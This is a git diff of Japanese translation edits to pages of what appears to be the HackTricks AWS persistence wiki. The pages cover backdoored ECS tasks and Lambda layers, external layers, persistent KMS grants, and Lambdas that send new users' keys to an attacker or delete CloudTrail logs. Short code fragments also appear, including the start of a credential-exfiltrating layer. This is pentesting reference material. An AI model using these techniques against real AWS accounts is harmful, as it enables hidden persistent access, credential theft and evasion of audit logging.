 ../aws-services/aws-ecr-enum.md
@@ -12,7 +12,7 @@
 
 ### 悪意のあるコードを含む隠れたDockerイメージ
 
-攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットのAWSアカウントで持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルスにデプロイすることができます。
+攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットAWSアカウントでの持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルス方式でデプロイすることができます。
 
 ### リポジトリポリシー
 
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
 }
 ```
 > [!WARNING]
-> ECRを使用するには、ユーザーが**`ecr:GetAuthorizationToken`** APIを呼び出すための**権限**をIAMポリシーで持っている必要があります。**これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。**
+> ECRを使用するには、ユーザーがIAMポリシーを通じて**`ecr:GetAuthorizationToken`** APIを呼び出す**権限**を持っている必要があります。これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。
 
 ### レジストリポリシーとクロスアカウントレプリケーション
 
-外部アカウントでクロスアカウントレプリケーションを設定することで、レジストリを自動的に複製することが可能です。ここでは、レジストリを複製したい**外部アカウント**を**指定する**必要があります。
+クロスアカウントレプリケーションを設定することで、外部アカウントにレジストリを自動的にレプリケートすることが可能です。この際、レジストリをレプリケートしたい**外部アカウント**を**指定する**必要があります。
 
 <figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
 
-まず、外部アカウントにレジストリへのアクセスを与えるために、次のような**レジストリポリシー**を設定する必要があります。
+まず、外部アカウントに対して、次のような**レジストリポリシー**を使用してレジストリへのアクセスを付与する必要があります。
 ```bash
 aws ecr put-registry-policy --policy-text file://my-policy.json
 
@@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json
 "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
 }
 ```
-次に、レプリケーション設定を適用します：
+その後、レプリケーション設定を適用します:
 ```bash
 aws ecr put-replication-configuration \
 --replication-configuration file://replication-settings.json \

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
 }
 ]'
 ```
-### 既存のECSタスク定義にバックドアコンテナを追加
+### 既存のECSタスク定義におけるバックドアコンテナ
 
 > [!NOTE]
 > TODO: テスト
 
-攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**隠れたバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。
+攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**ステルスバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用される可能性があります。
 ```bash
 # Update the existing task definition to include the backdoor container
 aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
 }
 ]'
 ```
-### Undocumented ECS Service
+### 文書化されていないECSサービス
 
 > [!NOTE]
-> TODO: Test
+> TODO: テスト
 
-攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログを無効にすることで、管理者が悪意のあるサービスに気付くのが難しくなります。
+攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -12,10 +12,10 @@
 
 ### リソースポリシー / セキュリティグループの変更
 
-**リソースポリシーおよび/またはセキュリティグループを変更することで**、ファイルシステムへのアクセスを持続させることができます。
+**リソースポリシーおよび/またはセキュリティグループ**を変更することで、ファイルシステムへのアクセスを持続させることができます。
 
 ### アクセスポイントの作成
 
-**アクセスポイントを作成することで**（`/`へのルートアクセス付き）、他の**持続性**を実装したサービスからアクセス可能にし、ファイルシステムへの特権アクセスを維持できます。
+**アクセスポイントを作成する**ことで、ファイルシステムへの特権アクセスを維持するために、他の**持続性**を実装したサービスからアクセス可能な（`/`へのルートアクセスを持つ）アクセスポイントを作成できます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md

@@ -4,15 +4,15 @@
 
 ## Elastic Beanstalk
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### インスタンス内の持続性
+### インスタンス内の永続性
 
-AWSアカウント内で持続性を維持するために、**インスタンス内に持続性メカニズムを導入することができる**（cronジョブ、sshキー...）ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
+AWSアカウント内で永続性を維持するために、**インスタンス内に永続性メカニズムを導入することができる**（cronジョブ、sshキー...）ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
 
 ### バックドアのあるバージョン
 

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -21,7 +21,7 @@
 
 ### バックドアロール信頼ポリシー
 
-信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソース（または誰にでも）それを引き受けることができるようにすることができます：
+信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソースのためにそれを引き受けることができるようにすることができます（または誰にでも）：
 ```json
 {
 "Version": "2012-10-17",
@@ -42,6 +42,6 @@
 
 ### バックドア / アイデンティティプロバイダーの作成
 
-アカウントがすでに一般的なアイデンティティプロバイダー（例えばGithub）を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようにします。
+アカウントがすでに一般的なアイデンティティプロバイダー（例えばGithub）を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようになります。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -16,11 +16,11 @@
 
 ### 永続的な付与
 
-付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与（同一のものでも）を持つことができます。
+付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与（同一のものも含む）を持つことができます。
 
 したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。
 
-（ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、10を使用しています。）
+（ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、2ではなく10を使用しています）
 ```bash
 # To generate grants, generate 10 like this one
 aws kms create-grant \

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

@@ -12,7 +12,7 @@
 
 ### Lambda Layer Persistence
 
-**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、ラムダがステルスな方法で実行されるときに行えます：
+**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、lambdaがステルスな方法で実行されるときに行えます：
 
 {{#ref}}
 aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
 
 ### Lambda Extension Persistence
 
-Lambda Layersを悪用することで、拡張機能を悪用し、ラムダに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
+Lambda Layersを悪用することで、拡張機能を悪用し、lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
 
 {{#ref}}
 aws-abusing-lambda-extensions.md
@@ -28,13 +28,13 @@ aws-abusing-lambda-extensions.md
 
 ### Via resource policies
 
-外部アカウントに対して、さまざまなラムダアクション（呼び出しやコードの更新など）へのアクセスを付与することが可能です：
+外部アカウントに対して、異なるlambdaアクション（invokeやupdate codeなど）へのアクセスを付与することが可能です：
 
 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
 
 ### Versions, Aliases & Weights
 
-ラムダは**異なるバージョン**（各バージョンに異なるコード）を持つことができます。\
+Lambdaは**異なるバージョン**（各バージョンに異なるコード）を持つことができます。\
 その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\
 この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。
 
@@ -42,23 +42,23 @@ aws-abusing-lambda-extensions.md
 
 ### Version Backdoor + API Gateway
 
-1. ラムダの元のコードをコピーします
-2. **元のコードをバックドアする新しいバージョンを作成**します（または悪意のあるコードのみ）。そのバージョンを公開し、**$LATESTにデプロイ**します
-1. ラムダに関連するAPIゲートウェイを呼び出してコードを実行します
+1. Lambdaの元のコードをコピーします
+2. **元のコードをバックドアする新しいバージョンを作成**します（または悪意のあるコードのみで）。そのバージョンを公開し、**$LATESTにデプロイ**します
+1. コードを実行するためにlambdaに関連するAPIゲートウェイを呼び出します
 3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。
 1. これにより、バックドア付きのコードは以前のバージョンに隠されます
-4. APIゲートウェイに移動し、**バックドア付きのラムダを実行する新しいPOSTメソッドを作成**します：`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+4. API Gatewayに移動し、**バックドア付きのlambdaの実行を行う新しいPOSTメソッドを作成**します：`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
 1. 最後の:1は**関数のバージョンを示す**ことに注意してください（このシナリオではバージョン1がバックドア付きのものになります）。
-5. 作成したPOSTメソッドを選択し、アクションで**`APIをデプロイ`**を選択します
-6. これで、**POST経由で関数を呼び出すと、あなたのバックドア**が呼び出されます
+5. 作成したPOSTメソッドを選択し、アクションで**`Deploy API`**を選択します
+6. これで、**POST経由で関数を呼び出すと、あなたのバックドアが呼び出されます**
 
 ### Cron/Event actuator
 
-**何かが起こったときや時間が経過したときにラムダ関数を実行できる**という事実は、ラムダを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
-ここでは、**ラムダを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
+**何かが起こったときや時間が経過したときにlambda関数を実行できる**という事実は、lambdaを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
+ここでは、**lambdaを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
 
-- 新しいユーザーが作成されるたびに、ラムダは新しいユーザーキーを生成し、攻撃者に送信します。
-- 新しいロールが作成されるたびに、ラムダは侵害されたユーザーにロールの引き受け権限を付与します。
-- 新しいCloudTrailログが生成されるたびに、それらを削除/変更します。
+- 新しいユーザーが作成されるたびに、lambdaは新しいユーザーキーを生成し、攻撃者に送信します。
+- 新しいロールが作成されるたびに、lambdaは侵害されたユーザーにロールの引き受け権限を付与します。
+- 新しいcloudtrailログが生成されるたびに、それらを削除/変更します。
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md

@@ -19,20 +19,20 @@ Lambdaランタイム環境のデフォルトのLinuxカーネルは、“**proc
 
 さらに、Lambda拡張は**呼び出しイベントにサブスクライブする能力**を持っていますが、AWSはこれらの拡張に生データを公開しません。これにより、**拡張がHTTPリクエストを介して送信される機密情報にアクセスできないことが保証されます。**
 
-Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、任意のランタイムコードの実行前に実行されますが、Rapidの後です。
+Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、Rapidの後に任意のランタイムコードの実行前に実行されます。
 
 <figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
 
 変数**`AWS_LAMBDA_RUNTIME_API`**は、**子ランタイムプロセス**および追加の拡張に対してRapid APIの**IP**アドレスと**ポート**番号を示します。
 
 > [!WARNING]
-> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です（**中間者攻撃**）。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更**を許可するため、ポート番号の変更が可能になるからです。
+> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です（**中間者攻撃**）。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更を許可する**ため、ポート番号の変更が可能です。
 
-**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス（例：Python、Java、Node、Ruby）の起動に影響を与えます。さらに、**私たちの後に読み込まれた拡張**は、この変数に依存しており、私たちの拡張を通じてルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることが可能になるかもしれません。
+**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス（例：Python、Java、Node、Ruby）の起動に影響を与えます。さらに、私たちの後に読み込まれる**拡張**は、この変数に依存しているため、私たちの拡張を経由してルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることができる可能性があります。
 
 <figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
 
-ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**ために作成され、他の**拡張**の**リクエスト**を**変更する**ことさえできます。
+ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**、他の**拡張**の**リクエスト**を**変更する**ために作成されました。
 
 ## 参考文献
 

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md

@@ -4,37 +4,37 @@
 
 ## Lambda Layers
 
-Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーには、ライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
+Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
 
 **関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。
 
-**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**するか、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。
+**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が別のアカウントが公開したレイヤーを使用している場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、あなたの関数は**レイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新することはできません。
 
 コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。
 
 ### Python load path
 
-Pythonがlambdaで使用するロードパスは次のとおりです：
+Pythonがlambdaで使用するロードパスは次のとおりです:
 ```
 ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
 ```
-チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリで占められています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
+チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリによって占有されています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
 
 > [!CAUTION]
-> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けたり、**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加**した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
+> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けることができた場合、または**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加した場合**、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
 
 したがって、要件は次のとおりです:
 
-- **被害者のコード**によって**読み込まれるライブラリ**をチェックする
-- **カスタムコードを実行し、元の**ライブラリを**読み込む**ための**lambda layers**を持つ**プロキシライブラリを作成する。
+- **被害者のコードによって**読み込まれる**ライブラリを確認する**
+- **カスタムコードを実行し、元の**ライブラリを**読み込む**lambda layersを使用した**プロキシライブラリを作成する**。
 
 ### プリロードされたライブラリ
 
 > [!WARNING]
-> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときに**すでに読み込まれている**のです。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
+> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときにpythonランタイムに**すでに読み込まれています**。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
 > この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。
 
-このようなpythonコードを使えば、lambda内のpythonランタイムに**プリロードされたライブラリのリスト**を取得することが可能です:
+このようなpythonコードを使用すると、lambda内のpythonランタイムに**プリロードされたライブラリのリストを取得する**ことができます:
 ```python
 import sys
 
@@ -48,20 +48,20 @@ return {
 ```
 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
 ```
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+そして、これは**lambdaがデフォルトでインストールしているライブラリ**のリストです: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
 
-### Lambda Layer Backdooring
+### Lambdaレイヤーのバックドア
 
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+この例では、ターゲットコードが**`csv`**をインポートしていると仮定します。私たちは**`csv`ライブラリのインポートにバックドアを仕掛ける**つもりです。
 
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
+そのために、**`/opt/python/lib/python3.9/site-packages`**に**csv**というディレクトリを作成し、その中に**`__init__.py`**ファイルを置きます。\
+その後、lambdaが実行されて**csv**を読み込もうとすると、私たちの**`__init__.py`ファイルが読み込まれ、実行されます**。\
+このファイルは以下を行う必要があります:
 
-- Execute our payload
-- Load the original csv library
+- 私たちのペイロードを実行する
+- 元のcsvライブラリを読み込む
 
-We can do both with:
+私たちは両方を次のように行うことができます:
 ```python
 import sys
 from urllib import request
@@ -87,7 +87,7 @@ sys.modules["csv"] = _csv
 
 このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。
 
-統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**（コードの変更またはコールドlambda）、しかし、**他の技術**も以下のように統合することができます：
+統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**（コードの変更またはコールドlambda）、しかし**他の技術**も以下のように統合することができます：
 
 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -95,14 +95,14 @@ sys.modules["csv"] = _csv
 
 ### 外部レイヤー
 
-**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは、権限がなくても外部アカウントのレイヤーを使用できます。\
-また、**lambdaが持つことができるレイヤーの最大数は5です**。
+**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは権限がなくても外部アカウントのレイヤーを使用できます。\
+また、**lambdaが持てるレイヤーの最大数は5です**。
 
 したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます：
 
 - ユーザーの既存のレイヤーにバックドアを仕掛ける（外部のものは何もない）
 - **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。
-- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**（lambda内でリバースシェルを取得することを除いて）
+- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**（lambda内でrev shellを取得することを除いて）
 - 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。
 ```bash
 # Upload backdoor layer

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -28,6 +28,6 @@
 
 - あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う
 - ドメインから**メール**を送信できるようにする**SPF**レコードを作成する
-- **メインドメインのIPを自分のものに設定し、正当なものへの**MitM**を行う
+- **メインドメインのIPを自分のものに設定し**、あなたのIPから正当なものへの**MitM**を実行する
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md

@@ -4,7 +4,7 @@
 
 ## RDS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
 ```
 ### DB内に管理者ユーザーを作成する
 
-攻撃者は**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
+攻撃者は単に**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
 
 ### スナップショットを公開する
 ```bash

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -12,14 +12,14 @@
 
 ### KMS クライアントサイド暗号化
 
-暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキー (`aws kms generate-data-key`) を生成し、**生成された暗号化キーをファイルのメタデータ内に保存します** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))。これにより、復号化が行われるときに再度 KMS を使用して復号化できます：
+暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキーを生成します（`aws kms generate-data-key`）そして、**生成された暗号化キーをファイルのメタデータ内に保存します**（[python コード例](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)）ので、復号化が行われるときに再度 KMS を使用して復号化できます：
 
 <figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
 
-したがって、攻撃者はメタデータからこのキーを取得し、KMS (`aws kms decrypt`) を使用して復号化し、情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用されている場合、使用することができます。
+したがって、攻撃者はメタデータからこのキーを取得し、KMS（`aws kms decrypt`）を使用して情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用される場合、使用することができます。
 
 ### S3 ACL の使用
 
-通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者は、それらを悪用することができます（有効な場合や攻撃者が有効にできる場合）ので、S3 バケットへのアクセスを維持できます。
+通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者はそれらを悪用することができます（有効な場合や攻撃者がそれらを有効にできる場合）ので、S3 バケットへのアクセスを維持できます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -4,7 +4,7 @@
 
 ## Secrets Manager
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
@@ -12,13 +12,13 @@
 
 ### リソースポリシーを介して
 
-リソースポリシーを介して**外部アカウントに秘密へのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privescページ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**秘密にアクセスする**には、外部アカウントも**秘密を暗号化するKMSキーへのアクセスが必要**です。
+リソースポリシーを介して**外部アカウントにシークレットへのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**シークレットにアクセスする**には、外部アカウントも**シークレットを暗号化しているKMSキーへのアクセスが必要**です。
 
 ### Secrets Rotate Lambdaを介して
 
-秘密を自動的に**回転させる**ために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しい秘密を自分に流出させる**ことができます。
+シークレットを自動的に**ローテーション**するために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しいシークレットを自分に流出**させることができます。
 
-このようなアクションのためのLambdaコードは次のようになります：
+このようなアクションのためのlambdaコードは次のようになります：
 ```python
 import boto3
 

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -4,7 +4,7 @@
 
 ## SNS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
@@ -12,8 +12,8 @@
 
 ### Persistence
 
-**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-以下のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます：
+**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
+次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます：
 ```json
 {
 "Version": "2008-10-17",
@@ -63,11 +63,11 @@
 ]
 }
 ```
-### Create Subscribers
+### サブスクライバーの作成
 
